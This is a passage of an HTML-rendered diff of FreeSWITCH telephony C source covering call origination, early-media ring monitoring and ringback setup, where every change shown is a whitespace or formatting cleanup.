</span><span class="cx">                 } else {
</span><span class="lines">@@ -217,10 +218,10 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>- wbreak:
</del><ins>+  wbreak:
</ins><span class="cx"> 
</span><span class="cx">         switch_core_session_rwunlock(collect-&gt;session);
</span><del>-        UNPROTECT_INTERFACE(application_interface);        
</del><ins>+        UNPROTECT_INTERFACE(application_interface);
</ins><span class="cx">         return NULL;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -236,13 +237,10 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static int check_per_channel_timeouts(originate_global_t *oglobals,
</span><del>-                                                                          originate_status_t *originate_status, 
-                                                                          int max,
-                                                                          time_t start,
-                                                                          switch_call_cause_t *force_reason)
</del><ins>+                                                                          originate_status_t *originate_status, int max, time_t start, switch_call_cause_t *force_reason)
</ins><span class="cx"> {
</span><del>-        int x = 0,i,delayed_channels=0,active_channels=0;
-        uint32_t early_exit_time=0, delayed_min=0;
</del><ins>+        int x = 0, i, delayed_channels = 0, active_channels = 0;
+        uint32_t early_exit_time = 0, delayed_min = 0;
</ins><span class="cx"> 
</span><span class="cx">         time_t elapsed = switch_epoch_time_now(NULL) - start;
</span><span class="cx"> 
</span><span class="lines">@@ -250,7 +248,7 @@
</span><span class="cx">                 return 0;
</span><span class="cx">         }
</span><span class="cx">         for (i = 0; i &lt; max; i++) {
</span><del>-                if (originate_status[i].peer_channel &amp;&amp; switch_channel_get_state(originate_status[i].peer_channel) != CS_DESTROY &amp;&amp; 
</del><ins>+                if (originate_status[i].peer_channel &amp;&amp; switch_channel_get_state(originate_status[i].peer_channel) != CS_DESTROY &amp;&amp;
</ins><span class="cx">                         switch_channel_get_state(originate_status[i].peer_channel) != CS_REPORTING) {
</span><span class="cx">                         if (originate_status[i].per_channel_delay_start) {
</span><span class="cx">                                 delayed_channels++;
</span><span class="lines">@@ -262,16 +260,16 @@
</span><span class="cx"> 
</span><span class="cx">         if (active_channels == 0 &amp;&amp; delayed_channels) {
</span><span class="cx">                 for (i = 0; i &lt; max; i++) {
</span><del>-                        if ( originate_status[i].peer_channel &amp;&amp; originate_status[i].per_channel_delay_start &amp;&amp; 
-                                 (! delayed_min || delayed_min &gt; originate_status[i].per_channel_delay_start) ) {
</del><ins>+                        if (originate_status[i].peer_channel &amp;&amp; originate_status[i].per_channel_delay_start &amp;&amp;
+                                (!delayed_min || delayed_min &gt; originate_status[i].per_channel_delay_start)) {
</ins><span class="cx">                                 delayed_min = originate_status[i].per_channel_delay_start;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">                 early_exit_time = delayed_min - (uint32_t) elapsed;
</span><span class="cx">         }
</span><span class="cx">         for (i = 0; i &lt; max; i++) {
</span><del>-                if (originate_status[i].peer_channel &amp;&amp; originate_status[i].per_channel_delay_start &amp;&amp; 
-                        (elapsed &gt; originate_status[i].per_channel_delay_start || active_channels == 0) ) {
</del><ins>+                if (originate_status[i].peer_channel &amp;&amp; originate_status[i].per_channel_delay_start &amp;&amp;
+                        (elapsed &gt; originate_status[i].per_channel_delay_start || active_channels == 0)) {
</ins><span class="cx">                         if (active_channels == 0) {
</span><span class="cx">                                 if (originate_status[i].per_channel_timelimit_sec) {
</span><span class="cx">                                         if (originate_status[i].per_channel_timelimit_sec &gt; early_exit_time) {
</span><span class="lines">@@ -294,18 +292,17 @@
</span><span class="cx">                                 originate_status[i].per_channel_delay_start = 0;
</span><span class="cx">                         }
</span><span class="cx"> 
</span><del>-                        if (! originate_status[i].per_channel_delay_start) {
</del><ins>+                        if (!originate_status[i].per_channel_delay_start) {
</ins><span class="cx">                                 switch_channel_clear_flag(originate_status[i].peer_channel, CF_BLOCK_STATE);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (originate_status[i].peer_channel &amp;&amp; switch_channel_up(originate_status[i].peer_channel)) {
</span><span class="cx">                         if (originate_status[i].per_channel_progress_timelimit_sec &amp;&amp; elapsed &gt; originate_status[i].per_channel_progress_timelimit_sec &amp;&amp;
</span><del>-                                !(
-                                  switch_channel_test_flag(originate_status[i].peer_channel, CF_RING_READY) ||
</del><ins>+                                !(switch_channel_test_flag(originate_status[i].peer_channel, CF_RING_READY) ||
</ins><span class="cx">                                   switch_channel_test_flag(originate_status[i].peer_channel, CF_ANSWERED) ||
</span><span class="cx">                                   (!oglobals-&gt;monitor_early_media_ring &amp;&amp; switch_channel_test_flag(originate_status[i].peer_channel, CF_EARLY_MEDIA))
</span><del>-                                  )
</del><ins>+                                )
</ins><span class="cx">                                 ) {
</span><span class="cx">                                 switch_channel_hangup(originate_status[i].peer_channel, SWITCH_CAUSE_PROGRESS_TIMEOUT);
</span><span class="cx">                                 *force_reason = SWITCH_CAUSE_PROGRESS_TIMEOUT;
</span><span class="lines">@@ -339,24 +336,24 @@
</span><span class="cx">                                 bd = &quot;monitor_early_media_ring&quot;;
</span><span class="cx">                         }
</span><span class="cx">                         switch_channel_set_variable(channel, &quot;originate_disposition&quot;, bd);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (oglobals) {
</span><span class="cx">                                 if (oglobals-&gt;monitor_early_media_ring_total &amp;&amp; ++oglobals-&gt;monitor_early_media_ring_count &lt; oglobals-&gt;monitor_early_media_ring_total) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Ring %d/%d\n&quot;, 
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Ring %d/%d\n&quot;,
</ins><span class="cx">                                                                           oglobals-&gt;monitor_early_media_ring_count, oglobals-&gt;monitor_early_media_ring_total);
</span><span class="cx">                                         return SWITCH_TRUE;
</span><span class="cx">                                 }
</span><del>-        
</del><ins>+
</ins><span class="cx">                                 switch_channel_set_private(channel, &quot;_oglobals_&quot;, NULL);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!oglobals-&gt;progress) {
</span><span class="cx">                                         oglobals-&gt;progress = 1;
</span><span class="cx">                                 }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                                 if (!oglobals-&gt;ring_ready &amp;&amp; !oglobals-&gt;ignore_ring_ready) {
</span><span class="cx">                                         oglobals-&gt;ring_ready = 1;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!oglobals-&gt;ignore_early_media &amp;&amp; !oglobals-&gt;early_ok) {
</span><span class="cx">                                         oglobals-&gt;early_ok = 1;
</span><span class="cx">                                 }
</span><span class="lines">@@ -387,18 +384,18 @@
</span><span class="cx">                         caller_channel = NULL;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         for (i = 0; i &lt; len; i++) {
</span><span class="cx">                 switch_channel_state_t state;
</span><span class="cx"> 
</span><span class="cx">                 if (originate_status[i].tagged &amp;&amp; originate_status[i].peer_session) {
</span><span class="cx">                         switch_channel_t *channel = switch_core_session_get_channel(originate_status[i].peer_session);
</span><span class="cx">                         uint32_t j;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_channel_down(channel)) {
</span><span class="cx">                                 switch_call_cause_t cause = switch_channel_get_cause(channel);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 for (j = 0; j &lt; len; j++) {
</span><span class="cx">                                         channel = switch_core_session_get_channel(originate_status[j].peer_session);
</span><span class="cx">                                         switch_channel_hangup(channel, cause);
</span><span class="lines">@@ -408,7 +405,7 @@
</span><span class="cx">                                 goto end;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!(originate_status[i].peer_channel &amp;&amp; originate_status[i].peer_session)) {
</span><span class="cx">                         oglobals-&gt;hups++;
</span><span class="cx">                         continue;
</span><span class="lines">@@ -457,11 +454,11 @@
</span><span class="cx">                                 if (oglobals-&gt;early_ok) {
</span><span class="cx">                                         pindex = i;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (oglobals-&gt;monitor_early_media_fail) {
</span><span class="cx">                                         const char *var = switch_channel_get_variable(originate_status[i].peer_channel, &quot;monitor_early_media_fail&quot;);
</span><span class="cx">                                         if (!zstr(var)) {
</span><del>-                                                char *fail_array[128] = {0};
</del><ins>+                                                char *fail_array[128] = { 0 };
</ins><span class="cx">                                                 int fail_count = 0;
</span><span class="cx">                                                 char *fail_data = strdup(var);
</span><span class="cx">                                                 int fx;
</span><span class="lines">@@ -469,66 +466,61 @@
</span><span class="cx"> 
</span><span class="cx">                                                 switch_assert(fail_data);
</span><span class="cx">                                                 fail_count = switch_separate_string(fail_data, '!', fail_array, (sizeof(fail_array) / sizeof(fail_array[0])));
</span><del>-                                        
-                                                for(fx = 0; fx &lt; fail_count; fx++) {
</del><ins>+
+                                                for (fx = 0; fx &lt; fail_count; fx++) {
</ins><span class="cx">                                                         char *cause = fail_array[fx];
</span><span class="cx">                                                         int hits = 2;
</span><span class="cx">                                                         char *p, *q;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                         if (!(p = strchr(cause, ':'))) {
</span><span class="cx">                                                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_ERROR, &quot;Parse Error\n&quot;);
</span><span class="cx">                                                                 continue;
</span><span class="cx">                                                         }
</span><span class="cx">                                                         *p++ = '\0';
</span><del>-                                                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                                                         if (!p) {
</span><span class="cx">                                                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_ERROR, &quot;Parse Error\n&quot;);
</span><span class="cx">                                                                 continue;
</span><span class="cx">                                                         }
</span><del>-                                                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                                                         if (!(hits = atoi(p))) {
</span><span class="cx">                                                                 hits = 2;
</span><span class="cx">                                                         }
</span><del>-                                                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                                                         if (!(p = strchr(p, ':'))) {
</span><span class="cx">                                                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_ERROR, &quot;Parse Error\n&quot;);
</span><span class="cx">                                                                 continue;
</span><span class="cx">                                                         }
</span><span class="cx">                                                         *p++ = '\0';
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                         if (!p) {
</span><span class="cx">                                                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_ERROR, &quot;Parse Error\n&quot;);
</span><span class="cx">                                                                 continue;
</span><span class="cx">                                                         }
</span><span class="cx"> 
</span><del>-                                                        for(q = p; q &amp;&amp; *q; q++) {
</del><ins>+                                                        for (q = p; q &amp;&amp; *q; q++) {
</ins><span class="cx">                                                                 if (*q == '+') {
</span><span class="cx">                                                                         *q = ',';
</span><span class="cx">                                                                 }
</span><span class="cx">                                                         }
</span><span class="cx">                                                         switch_snprintf(bug_key, sizeof(bug_key), &quot;monitor_early_media_fail_%d&quot;, ++y);
</span><del>-                                                        switch_ivr_tone_detect_session(originate_status[i].peer_session,
-                                                                                                                   bug_key,
-                                                                                                                   p, &quot;r&quot;, 0, 
-                                                                                                                   hits, 
-                                                                                                                   &quot;fail&quot;, 
-                                                                                                                   cause, monitor_callback);
-                                                
</del><ins>+                                                        switch_ivr_tone_detect_session(originate_status[i].peer_session, bug_key, p, &quot;r&quot;, 0, hits, &quot;fail&quot;, cause, monitor_callback);
+
</ins><span class="cx">                                                 }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                                 switch_safe_free(fail_data);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (oglobals-&gt;monitor_early_media_ring) {
</span><span class="cx">                                         const char *var = switch_channel_get_variable(originate_status[i].peer_channel, &quot;monitor_early_media_ring&quot;);
</span><span class="cx">                                         const char *var_total = switch_channel_get_variable(originate_status[i].peer_channel, &quot;monitor_early_media_ring_total&quot;);
</span><span class="cx">                                         if (!zstr(var)) {
</span><del>-                                                char *ring_array[128] = {0};
</del><ins>+                                                char *ring_array[128] = { 0 };
</ins><span class="cx">                                                 int ring_count = 0;
</span><span class="cx">                                                 char *ring_data = strdup(var);
</span><span class="cx">                                                 int fx;
</span><span class="lines">@@ -536,11 +528,11 @@
</span><span class="cx"> 
</span><span class="cx">                                                 switch_assert(ring_data);
</span><span class="cx">                                                 ring_count = switch_separate_string(ring_data, '!', ring_array, (sizeof(ring_array) / sizeof(ring_array[0])));
</span><del>-                                        
-                                                for(fx = 0; fx &lt; ring_count; fx++) {
</del><ins>+
+                                                for (fx = 0; fx &lt; ring_count; fx++) {
</ins><span class="cx">                                                         int hits = 2;
</span><span class="cx">                                                         char *p = ring_array[fx], *q;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                         if (!p) {
</span><span class="cx">                                                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_ERROR, &quot;Parse Error\n&quot;);
</span><span class="cx">                                                                 continue;
</span><span class="lines">@@ -549,78 +541,75 @@
</span><span class="cx">                                                         if (!(hits = atoi(p))) {
</span><span class="cx">                                                                 hits = 2;
</span><span class="cx">                                                         }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                         if (!(p = strchr(p, ':'))) {
</span><span class="cx">                                                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_ERROR, &quot;Parse Error\n&quot;);
</span><span class="cx">                                                                 continue;
</span><span class="cx">                                                         }
</span><span class="cx">                                                         *p++ = '\0';
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                         if (!p) {
</span><span class="cx">                                                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_ERROR, &quot;Parse Error\n&quot;);
</span><span class="cx">                                                                 continue;
</span><span class="cx">                                                         }
</span><span class="cx"> 
</span><del>-                                                        for(q = p; q &amp;&amp; *q; q++) {
</del><ins>+                                                        for (q = p; q &amp;&amp; *q; q++) {
</ins><span class="cx">                                                                 if (*q == '+') {
</span><span class="cx">                                                                         *q = ',';
</span><span class="cx">                                                                 }
</span><span class="cx">                                                         }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                         switch_channel_set_private(originate_status[i].peer_channel, &quot;_oglobals_&quot;, oglobals);
</span><span class="cx">                                                         switch_snprintf(bug_key, sizeof(bug_key), &quot;monitor_early_media_ring_%d&quot;, ++y);
</span><del>-                                                        switch_ivr_tone_detect_session(originate_status[i].peer_session,
-                                                                                                                   bug_key,
-                                                                                                                   p, &quot;r&quot;, 0, hits, &quot;ring&quot;, NULL, monitor_callback);
-                                                        
</del><ins>+                                                        switch_ivr_tone_detect_session(originate_status[i].peer_session, bug_key, p, &quot;r&quot;, 0, hits, &quot;ring&quot;, NULL, monitor_callback);
+
</ins><span class="cx">                                                 }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                                 if (var_total) {
</span><span class="cx">                                                         int tmp = atoi(var_total);
</span><span class="cx">                                                         if (tmp &gt; 0 &amp;&amp; tmp &lt; 100) {
</span><del>-                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_DEBUG, 
-                                                                                                  &quot;%s setting ring total to %d\n&quot;, 
-                                                                                                  switch_channel_get_name(originate_status[i].peer_channel), tmp);
</del><ins>+                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_DEBUG,
+                                                                                                  &quot;%s setting ring total to %d\n&quot;, switch_channel_get_name(originate_status[i].peer_channel), tmp);
</ins><span class="cx">                                                                 oglobals-&gt;monitor_early_media_ring_total = tmp;
</span><span class="cx">                                                         }
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 switch_safe_free(ring_data);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!oglobals-&gt;monitor_early_media_ring) {
</span><span class="cx"> 
</span><span class="cx">                                 if (!oglobals-&gt;progress) {
</span><span class="cx">                                         oglobals-&gt;progress = 1;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!oglobals-&gt;ring_ready &amp;&amp; !oglobals-&gt;ignore_ring_ready) {
</span><span class="cx">                                         oglobals-&gt;ring_ready = 1;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_ivr_parse_all_events(originate_status[i].peer_session);
</span><span class="cx"> 
</span><span class="cx">                 state = switch_channel_get_state(originate_status[i].peer_channel);
</span><span class="cx">                 if (state &gt;= CS_HANGUP || state == CS_RESET || switch_channel_test_flag(originate_status[i].peer_channel, CF_TRANSFER) ||
</span><span class="cx">                         switch_channel_test_flag(originate_status[i].peer_channel, CF_REDIRECT) ||
</span><del>-                        switch_channel_test_flag(originate_status[i].peer_channel, CF_BRIDGED) || 
</del><ins>+                        switch_channel_test_flag(originate_status[i].peer_channel, CF_BRIDGED) ||
</ins><span class="cx">                         !switch_channel_test_flag(originate_status[i].peer_channel, CF_ORIGINATING)
</span><span class="cx">                         ) {
</span><span class="cx">                         (oglobals-&gt;hups)++;
</span><span class="cx">                 } else if ((switch_channel_test_flag(originate_status[i].peer_channel, CF_ANSWERED) ||
</span><span class="cx">                                         (oglobals-&gt;early_ok &amp;&amp; switch_channel_test_flag(originate_status[i].peer_channel, CF_EARLY_MEDIA)) ||
</span><del>-                                        (oglobals-&gt;ring_ready &amp;&amp; oglobals-&gt;return_ring_ready &amp;&amp; len == 1 &amp;&amp; 
</del><ins>+                                        (oglobals-&gt;ring_ready &amp;&amp; oglobals-&gt;return_ring_ready &amp;&amp; len == 1 &amp;&amp;
</ins><span class="cx">                                          switch_channel_test_flag(originate_status[i].peer_channel, CF_RING_READY))
</span><del>-                                        )
</del><ins>+                                   )
</ins><span class="cx">                                    &amp;&amp; !switch_channel_test_flag(originate_status[i].peer_channel, CF_TAGGED)
</span><del>-                                   ) {
-                        
</del><ins>+                        ) {
+
</ins><span class="cx">                         if (!zstr(oglobals-&gt;key)) {
</span><span class="cx">                                 struct key_collect *collect;
</span><span class="cx"> 
</span><span class="lines">@@ -661,7 +650,7 @@
</span><span class="cx">                 rval = 1;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         if (pindex &gt; -1 &amp;&amp; caller_channel &amp;&amp; switch_channel_ready(caller_channel) &amp;&amp; !switch_channel_media_ready(caller_channel)) {
</span><span class="cx">                 const char *var = switch_channel_get_variable(caller_channel, &quot;inherit_codec&quot;);
</span><span class="lines">@@ -669,15 +658,15 @@
</span><span class="cx">                         switch_codec_implementation_t impl = { 0 };
</span><span class="cx">                         char tmp[128] = &quot;&quot;;
</span><span class="cx"> 
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_core_session_get_read_impl(originate_status[pindex].peer_session, &amp;impl) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_snprintf(tmp, sizeof(tmp), &quot;%s@%uh@%ui&quot;, impl.iananame, impl.samples_per_second, impl.microseconds_per_packet / 1000);
</span><span class="cx">                                 switch_channel_set_variable(caller_channel, &quot;absolute_codec_string&quot;, tmp);
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(caller_channel), SWITCH_LOG_DEBUG, &quot;Setting codec string on %s to %s\n&quot;, 
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(caller_channel), SWITCH_LOG_DEBUG, &quot;Setting codec string on %s to %s\n&quot;,
</ins><span class="cx">                                                                   switch_channel_get_name(caller_channel), tmp);
</span><span class="cx">                         } else {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(originate_status[pindex].peer_channel), SWITCH_LOG_WARNING, 
-                                                                  &quot;Error inheriting codec.  Channel %s has no read codec yet.\n&quot;, 
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(originate_status[pindex].peer_channel), SWITCH_LOG_WARNING,
+                                                                  &quot;Error inheriting codec.  Channel %s has no read codec yet.\n&quot;,
</ins><span class="cx">                                                                   switch_channel_get_name(originate_status[pindex].peer_channel));
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="lines">@@ -685,7 +674,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (send_ringback) {
</span><del>-                oglobals-&gt;sending_ringback++;        
</del><ins>+                oglobals-&gt;sending_ringback++;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         return rval;
</span><span class="lines">@@ -737,7 +726,7 @@
</span><span class="cx">         switch_channel_state_t wait_state = 0;
</span><span class="cx"> 
</span><span class="cx">         switch_assert(peer_channel);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_channel_get_state(peer_channel) == CS_RESET) {
</span><span class="cx">                 switch_channel_set_state(peer_channel, CS_SOFT_EXECUTE);
</span><span class="cx">         }
</span><span class="lines">@@ -769,7 +758,7 @@
</span><span class="cx">                 if (switch_channel_test_flag(caller_channel, CF_ANSWERED)) {
</span><span class="cx">                         ringback_data = switch_channel_get_variable(caller_channel, &quot;transfer_ringback&quot;);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!ringback_data) {
</span><span class="cx">                         ringback_data = switch_channel_get_variable(caller_channel, &quot;ringback&quot;);
</span><span class="cx">                 }
</span><span class="lines">@@ -796,7 +785,7 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!ringback.asis) {
</span><span class="cx">                         if ((pass = (uint8_t) switch_test_flag(read_codec, SWITCH_CODEC_FLAG_PASSTHROUGH))) {
</span><span class="cx">                                 goto no_ringback;
</span><span class="lines">@@ -819,7 +808,7 @@
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
</span><span class="cx">                                                                   &quot;Raw Codec Activation Success L16@%uhz 1 channel %dms\n&quot;,
</span><span class="cx">                                                                   read_codec-&gt;implementation-&gt;actual_samples_per_second, read_codec-&gt;implementation-&gt;microseconds_per_packet / 1000);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 write_frame.codec = &amp;write_codec;
</span><span class="cx">                                 write_frame.datalen = read_codec-&gt;implementation-&gt;decoded_bytes_per_packet;
</span><span class="cx">                                 write_frame.samples = write_frame.datalen / 2;
</span><span class="lines">@@ -827,7 +816,7 @@
</span><span class="cx">                                 switch_core_session_set_read_codec(session, &amp;write_codec);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_channel_test_flag(caller_channel, CF_DISABLE_RINGBACK)) {
</span><span class="cx">                         ringback_data = NULL;
</span><span class="cx">                 }
</span><span class="lines">@@ -874,7 +863,7 @@
</span><span class="cx">                                 } else {
</span><span class="cx">                                         switch_buffer_create_dynamic(&amp;ringback.audio_buffer, 512, 1024, 0);
</span><span class="cx">                                         switch_buffer_set_loops(ringback.audio_buffer, -1);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                         teletone_init_session(&amp;ringback.ts, 0, teletone_handler, &amp;ringback);
</span><span class="cx">                                         ringback.ts.rate = read_codec-&gt;implementation-&gt;actual_samples_per_second;
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Play Ringback Tone [%s]\n&quot;, ringback_data);
</span><span class="lines">@@ -890,7 +879,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- no_ringback:
</del><ins>+  no_ringback:
</ins><span class="cx"> 
</span><span class="cx">         if (caller_channel) {
</span><span class="cx">                 wait_state = switch_channel_get_state(caller_channel);
</span><span class="lines">@@ -928,13 +917,13 @@
</span><span class="cx">                 } else {
</span><span class="cx">                         read_frame = NULL;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (read_frame &amp;&amp; !pass) {
</span><span class="cx"> 
</span><span class="cx">                         if (ringback.fh) {
</span><span class="cx">                                 switch_size_t mlen, olen;
</span><span class="cx">                                 unsigned int pos = 0;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (ringback.asis) {
</span><span class="cx">                                         mlen = write_frame.codec-&gt;implementation-&gt;encoded_bytes_per_packet;
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -978,7 +967,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         if (ringback.fh) {
</span><span class="cx">                 switch_core_file_close(ringback.fh);
</span><span class="lines">@@ -996,7 +985,7 @@
</span><span class="cx"> 
</span><span class="cx">         switch_safe_free(write_frame.data);
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         if (!switch_channel_media_ready(peer_channel)) {
</span><span class="cx">                 if (switch_channel_up(peer_channel)) {
</span><span class="lines">@@ -1004,7 +993,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (caller_channel &amp;&amp; !switch_channel_ready(caller_channel)) {
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="lines">@@ -1019,14 +1008,14 @@
</span><span class="cx"> 
</span><span class="cx">         switch_assert(session &amp;&amp; peer_channel);
</span><span class="cx">         caller_channel = switch_core_session_get_channel(session);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((import = switch_channel_get_variable(caller_channel, varname))) {
</span><span class="cx">                 char *mydata = switch_core_session_strdup(session, import);
</span><span class="cx">                 int i, argc;
</span><span class="cx">                 char *argv[64] = { 0 };
</span><span class="cx"> 
</span><span class="cx">                 if ((argc = switch_separate_string(mydata, ',', argv, (sizeof(argv) / sizeof(argv[0]))))) {
</span><del>-                        for(i = 0; i &lt; argc; i++) {
</del><ins>+                        for (i = 0; i &lt; argc; i++) {
</ins><span class="cx">                                 if ((val = switch_channel_get_variable(peer_channel, argv[i]))) {
</span><span class="cx">                                         switch_channel_set_variable(caller_channel, argv[i], val);
</span><span class="cx">                                 }
</span><span class="lines">@@ -1036,11 +1025,8 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static switch_status_t setup_ringback(originate_global_t *oglobals, 
-                                                                          const char *ringback_data, 
-                                                                          ringback_t *ringback, 
-                                                                          switch_frame_t *write_frame, 
-                                                                          switch_codec_t *write_codec)
</del><ins>+static switch_status_t setup_ringback(originate_global_t *oglobals,
+                                                                          const char *ringback_data, ringback_t *ringback, switch_frame_t *write_frame, switch_codec_t *write_codec)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         switch_channel_t *caller_channel = switch_core_session_get_channel(oglobals-&gt;session);
</span><span class="lines">@@ -1050,7 +1036,7 @@
</span><span class="cx">         if (!switch_channel_test_flag(caller_channel, CF_ANSWERED)
</span><span class="cx">                 &amp;&amp; !switch_channel_test_flag(caller_channel, CF_EARLY_MEDIA)) {
</span><span class="cx">                 if ((status = switch_channel_pre_answer(caller_channel)) != SWITCH_STATUS_SUCCESS) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(caller_channel), SWITCH_LOG_DEBUG, &quot;%s Media Establishment Failed.\n&quot;, 
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(caller_channel), SWITCH_LOG_DEBUG, &quot;%s Media Establishment Failed.\n&quot;,
</ins><span class="cx">                                                           switch_channel_get_name(caller_channel));
</span><span class="cx">                         switch_goto_status(SWITCH_STATUS_BREAK, end);
</span><span class="cx">                 }
</span><span class="lines">@@ -1062,10 +1048,10 @@
</span><span class="cx">                                 ringback-&gt;asis++;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                 if (!ringback-&gt;asis) {
</span><span class="cx">                         if (switch_test_flag(read_codec, SWITCH_CODEC_FLAG_PASSTHROUGH)) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(caller_channel), SWITCH_LOG_WARNING, &quot;%s Ringback not supported in passthrough codec mode.\n&quot;, 
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(caller_channel), SWITCH_LOG_WARNING, &quot;%s Ringback not supported in passthrough codec mode.\n&quot;,
</ins><span class="cx">                                                                   switch_channel_get_name(caller_channel));
</span><span class="cx">                                 switch_goto_status(SWITCH_STATUS_GENERR, end);
</span><span class="cx">                         }
</span><span class="lines">@@ -1081,8 +1067,7 @@
</span><span class="cx"> 
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(oglobals-&gt;session), SWITCH_LOG_DEBUG,
</span><span class="cx">                                                                   &quot;Raw Codec Activation Success L16@%uhz 1 channel %dms\n&quot;,
